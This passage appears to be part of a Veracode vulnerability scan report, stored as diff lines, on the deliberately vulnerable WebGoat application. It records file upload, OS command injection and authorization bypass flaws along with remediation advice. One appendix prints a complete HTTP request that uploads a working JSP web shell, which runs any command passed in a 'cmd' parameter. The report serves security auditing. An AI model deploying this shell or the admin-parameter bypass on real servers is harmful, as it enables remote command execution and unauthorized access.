ABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
-        following POST request uploaded a jsp based shell that could later be accessed
-        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
-        configured within the current web server, causing the jsp code to be interpreted
-        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
-        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
-        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
-        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
-        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
-        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
-        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
-        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
-        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
-        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
-        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
-        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
-        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
-        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
-        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
-        \       DataInputStream dis = new DataInputStream(in);\n        String disr
-        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
-        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
-        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
-        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"true\"><desc><para
-        text=\"OS command injection vulnerabilities occur when data enters an application
-        from an untrusted source and is used to dynamically construct and execute
-        a system command.  This allows an attacker to either alter the command executed
-        by the application or append additional commands.  The command is typically
-        executed with the privileges of the executing process and gives an attacker
-        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
-        text=\"Careful handling of all untrusted data is critical in preventing OS
-        command injection attacks.   Using one or more of the following techniques
-        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
-        text=\"If possible, use library calls rather than external processes to recreate
-        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
-        using positive filters (white lists) to ensure that it conforms to the expected
-        format, using centralized data validation routines when possible. \"/><bulletitem
-        text=\"Select safe API routines.  Some APIs that execute system commands take
-        an array of strings as input rather than a single string, which protects against
-        some forms of command injection by ensuring that a user-supplied argument
-        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
-        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
-        an OS Command ('OS Command Injection')\" pcirelated=\"true\"><description><text
-        text=\"This call contains a command injection flaw.  The argument to the function
-        is constructed using user-supplied input.  If an attacker is allowed to specify
-        all or part of the command, it may be possible to execute commands on the
-        server with the privileges of the executing process.  The level of exposure
-        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
-        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
-        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
-        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
-        to the function is constructed using user-supplied input. If an attacker is
-        allowed to specify all or part of the command, it may be possible to execute
-        commands on the server with the privileges of the executing process. The level
-        of exposure depends on the effectiveness of input validation routines, if
-        any. exec() was called on the getRuntime() object, which contains tainted
-        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
-        all user-supplied input to ensure that it conforms to the expected format,
-        using centralized data validation routines when possible. When using black
-        lists, be sure that the sanitizing routine performs a sufficient number of
-        iterations to remove all instances of disallowed characters. Most APIs that
-        execute system commands also have a &quot;safe&quot; version of the method
-        that takes an array of strings as input rather than a single string, which
-        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
-        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
-        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
-        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ccp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Exec.java\" line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\"
-        scope=\"org.owasp.webgoat.util.Exec\" functionprototype=\"ExecResults execOptions(java.lang.String
-        \ [], java.lang.String, int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
-        score_adjustment=\"1\"><note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
-        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
-        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
-        to the function is constructed using user-supplied input. If an attacker is
-        allowed to specify all or part of the command, it may be possible to execute
-        commands on the server with the privileges of the executing process. The level
-        of exposure depends on the effectiveness of input validation routines, if
-        any. exec() was called on the getRuntime() object, which contains tainted
-        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
-        all user-supplied input to ensure that it conforms to the expected format,
-        using centralized data validation routines when possible. When using black
-        lists, be sure that the sanitizing routine performs a sufficient number of
-        iterations to remove all instances of disallowed characters. Most APIs that
-        execute system commands also have a &quot;safe&quot; version of the method
-        that takes an array of strings as input rather than a single string, which
-        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
-        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
-        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
-        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ccp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Exec.java\" line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\"
-        scope=\"org.owasp.webgoat.util.Exec\" functionprototype=\"ExecResults execOptions(java.lang.String,
-        java.lang.String, int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
-        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
-        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
-        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
-        used in an OS Command ('OS Command Injection')\" description=\"This call contains
-        a command injection flaw. The argument to the function is constructed using
-        user-supplied input. If an attacker is allowed to specify all or part of the
-        command, it may be possible to execute commands on the server with the privileges
-        of the executing process. The level of exposure depends on the effectiveness
-        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
-        to ensure that it conforms to the expected format, using centralized data
-        validation routines when possible. When using black lists, be sure that the
-        sanitizing routine performs a sufficient number of iterations to remove all
-        instances of disallowed characters. Most APIs the execute system commands
-        also have a &quot;safe&quot; version of the method that takes an array of
-        strings as input rather than a single string, which protects against some
-        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
-        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
-        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ccp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/attack\" vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
-        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
-        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
-        pcirelated=\"false\">\n<description>\n<text text=\"The application uses a
-        protection mechanism that relies on the existence or values of an input, but
-        the input can be modified by an untrusted actor in a way that bypasses the
-        protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw severity=\"5\"
-        categoryname=\"Reliance on Untrusted Inputs in a Security Decision\" count=\"1\"
-        issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The application
-        uses a protection mechanism that relies on the existence of an input, but
-        the input can be modified by an untrusted actor in a way that bypasses the
-        protection mechanism. By adding the parameter 'admin' with a value of 'true'
-        the administrative interface of the application is accessible to a non-administrative
-        user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\" exploitLevel=\"2\"
-        categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
-        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"\"
-        affects_policy_compliance=\"false\" location=\"http://targethost/WebGoat/attack\"
-        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
-        attacker can set this parameter easily within their web-browser. Links to
-        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
-        can bypass the security decision to access whatever is being protected. The
-        consequences will depend on the associated functionality, but they can range
-        from granting additional privileges to untrusted users to bypassing important
-        security checks. Ultimately, this weakness may lead to exposure or modification
-        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
-        all inputs that are used for security decisions and determine if you can modify
-        the design so that you do not have to rely on submitted inputs at all. For
-        example, you may be able to keep critical information about the user's session
-        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
-        format=\"PNG\">\n<data>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